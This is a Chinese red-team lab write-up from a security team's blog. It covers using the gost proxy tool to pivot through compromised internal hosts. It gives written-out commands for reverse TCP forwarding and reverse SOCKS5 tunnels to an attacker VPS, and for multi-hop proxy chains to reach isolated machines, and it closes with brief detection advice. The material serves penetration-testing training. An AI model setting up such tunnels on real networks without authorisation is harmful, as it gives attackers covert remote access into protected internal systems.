九维团队-红队(突破)| gost代理场景总结

admin 2022年10月1日08:44:31评论576 views字数 5678阅读18分55秒阅读模式

九维团队-红队(突破)| gost代理场景总结




写在前边

本文主要为笔者在学习实践过程中,对gost做多级代理的一些场景进行总结。

推荐阅读链接:https://github.com/ginuerzh/gost


一、常规开放HTTP/SOCKS5代理


作为标准HTTP/SOCKS5代理:


九维团队-红队(突破)| gost代理场景总结


gost -L=:8080

 

设置代理认证信息:

gost -L=admin:123456@localhost:8080

 

多端口监听:

gost -L=http2://:443 -L=socks5://:1080 -L=ss://aes-128-cfb:123456@:8338

*左右滑动查看更多


二、端口转发

(TCP,将内网端口转发到公网服务器)


机器(49.2**.2*.2**)运行:

./gost -L socks5://:2345 该行代码含义为建立端口为2345的gost服务端


假如你有一个网站建立在机器(192.168.176.128)上,端口是5000.


机器(192.168.176.128)运行:

./gost -L rtcp://:8080/:5000 -F socks5://49.2**.2*.2**:2345 该行代码含义为将机器192.168.176.128端口5000绑定到机器49.2**.2*.2**端口8080

*左右滑动查看更多


这时攻击者访问机器(49.2**.2*.2**)的8080端口,就是访问机器(192.168.176.128)的5000端口。这样就完成两台内网机器相互访问了。


VPS:建立端口为2345的gost服务端


./gost -L socks5://:2345


九维团队-红队(突破)| gost代理场景总结


将机器192.168.176.128端口5000绑定到机器10.80.5.244端口8080上:

./gost -L rtcp://:8080/:5000 -F socks5://49.2**.2*.2**:2345

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


访问vps 8080端口,即访问到对应内网5000端口。

九维团队-红队(突破)| gost代理场景总结

三、端口转发

(SSH)


作为转发通道,配合本地/远程TCP端口转发使用。

服务端:

gost -L=forward+ssh://:2222

客户端:

gost -L=rtcp://:1222/:22 -F=forward+ssh://server_ip:2222


九维团队-红队(突破)| gost代理场景总结
九维团队-红队(突破)| gost代理场景总结


四、gost-反向socks5

(一层)


vps(vps开启socks5端口): 

./gost -L socks5://admin:12345611@:2222

*左右滑动查看更多


内网机器(内网开启socks5端口,通过vps 2222端口,将内网8888端口转发到vps 12345端口):

./gost -L=socks5://:8888 ./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F socks5://admin:[email protected]**.2*.2**:2222

*左右滑动查看更多


连接vps的socks5 12345端口,即可到达整个内网流量,那个认证和外网socks5认证没关系,proxifier可以不用设置密码。

九维团队-红队(突破)| gost代理场景总结

五、gost-反向socks5

(多层,每层代理均可访问)


环境:

攻击者:10.1.1.2vps:49.2**.2*.2**内网跳板机:192.168.0.106不出网内网机(node129):192.168.202.129不出网内网机(node130):192.168.202.130


场景说明:

已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),需要做二级代理,让攻击者(10.1.1.2)可以访问到node130(192.168.202.130)。

*左右滑动查看更多


环境配置:

配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则:

firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="192.168.202.1" drop'firewall-cmd --reload(因为是虚拟机,所以需要直接干掉192.168.202.1

*左右滑动查看更多



Step1在node129(192.168.202.129)开放socks5 8888端口:

./gost -L=socks5://:8888


九维团队-红队(突破)| gost代理场景总结


Step2:在内网跳板机(192.168.0.106)开放socks5 2222端口:

gost.exe -L socks5://admin:12345611@:2222


九维团队-红队(突破)| gost代理场景总结


Step3:将node129(192.168.202.129:8888)通过内网跳板机2222端口转发到内网跳板机(192.168.0.106:1234)。

./gost -L rtcp://0.0.0.0:1234/localhost:8888 -F socks5://admin:[email protected]:2222

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


Step4:在vps(49.2**.2*.2**)开放socks5 22222端口。

./gost -L socks5://admin:12345611@:22222

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


Step5:将内网跳板机(192.168.0.106:1234)通过内网跳板机22222端口转发到vps(49.2**.2*.2**:12345)。

gost.exe -L rtcp://0.0.0.0:12345/localhost:1234 -F socks5://admin:[email protected]**.2*.2**:22222

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


vps的12345端口为开放的最外层socks5端口。


Step6:连接proxifier。


九维团队-红队(突破)| gost代理场景总结


Step7:攻击者成功访问到node130。


九维团队-红队(突破)| gost代理场景总结


六、Frp与gost结合打通多级代理


环境:

攻击者:10.1.1.2vps:49.2**.2*.2**内网跳板机:192.168.0.106不出网内网机(node129):192.168.202.129不出网内网机(node130):192.168.202.130


环境配置:

配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则:

firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="192.168.202.1" drop'firewall-cmd --reload(因为是虚拟机,所以需要直接干掉192.168.202.1

*左右滑动查看更多


非转发代理-二级代理(及二级以上代理)-简单方便

(备注:三级代理未测试,因本地环境能力有限,此方式就算设置了三级代理,也会只走到第二级代理)


场景说明:

已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node129(192.168.202.129)开放socks5 8899端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链,攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。


Step1:在node129(192.168.202.129)开启socks5 8899端口。

./gost -L=socks5://:8899


九维团队-红队(突破)| gost代理场景总结


Step2:将192.168.202.129:8899加入代理链中。


九维团队-红队(突破)| gost代理场景总结


Step3:攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。此时的身份为二级代理(192.168.202.129)。


九维团队-红队(突破)| gost代理场景总结


转发代理-三级代理(及三级以上代理)-推荐使用


(备注:若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则该方式代理无效)


场景说明:

已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)开放socks5 9999端口,在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链,攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。


Step1:在node130(192.168.202.130)开放socks5 9999端口。

./gost -L=socks5://:9999


九维团队-红队(突破)| gost代理场景总结


Step2:在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口。

./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


Step3:此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链。


九维团队-红队(突破)| gost代理场景总结


Step4:攻击者(10.1.1.2)便可以以

node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。


九维团队-红队(突破)| gost代理场景总结


端口转发-三级代理-麻烦方法

(此方法非常麻烦,很绕,是通过最里层主机转发端口出来,记录原因是假如以上方式都无效,可尝试此方法。)


场景说明:

已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)配置socks5 8888端口,node129(192.168.202.129)开放socks5 2222端口,node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345),此时我们只需要在Proxifier加一条192.168.202.129:12345的代理链,攻击者(10.1.1.2)便可以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。


Step1:在node130(192.168.202.130)开启socks5 8888端口。

./gost -L=socks5://:8888


九维团队-红队(突破)| gost代理场景总结


Step2:在node129(192.168.202.129)开启socks5 2222端口。

./gost  -L socks5://admin:12345611@:2222


九维团队-红队(突破)| gost代理场景总结


Step3:在node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345)

./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F socks5://admin:[email protected]:2222

*左右滑动查看更多


九维团队-红队(突破)| gost代理场景总结


此时,node129(192.168.202.129:12345),开放socks5 12345端口。


Step4:将192.168.202.129:12345加入代理链中。


九维团队-红队(突破)| gost代理场景总结


Step5:攻击者(10.1.1.2)便可以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。


注意:可以看到login from 192.168.202.130,我们成功以三级代理的身份访问了。

一级:192.168.0.106

二级代理:192.168.202.129

三级代理:192.168.202.130


九维团队-红队(突破)| gost代理场景总结



七、小 结


1、代理链原理,首先需要把最外层跳板机的流量带出来(Frp或gost都可以实现),内层流量(二层、三层、四层等等)代理主要是在每层对应的主机开启gost socks5端口,主要分为非转发代理(./gost -L=socks5://:8899)和转发代理(./gost -L=socks5://:8899 -

F=socks5://192.168.202.130:9999),二层推荐非转发代理开启,三层推荐转发代理开启。


非转发代理./gost -L=socks5://:8899转发代理./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999

*左右滑动查看更多


2、若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则代理无效。


八、防御及检测建议


1、windows场景下可直接安装杀软进行文件检测,杀软对此类软件已加入相关特征库。
2、在流量特征方面可以针对gost源码中一些固定关键字,如帮助选项、方法名称固定关键字检测。




—  往期回顾  —

九维团队-红队(突破)| gost代理场景总结

九维团队-红队(突破)| gost代理场景总结

九维团队-红队(突破)| gost代理场景总结

九维团队-红队(突破)| gost代理场景总结

九维团队-红队(突破)| gost代理场景总结



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。


九维团队-红队(突破)| gost代理场景总结


九维团队-红队(突破)| gost代理场景总结
九维团队-红队(突破)| gost代理场景总结

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| gost代理场景总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日08:44:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| gost代理场景总结http://cn-sec.com/archives/1326207.html

发表评论

匿名网友 填写信息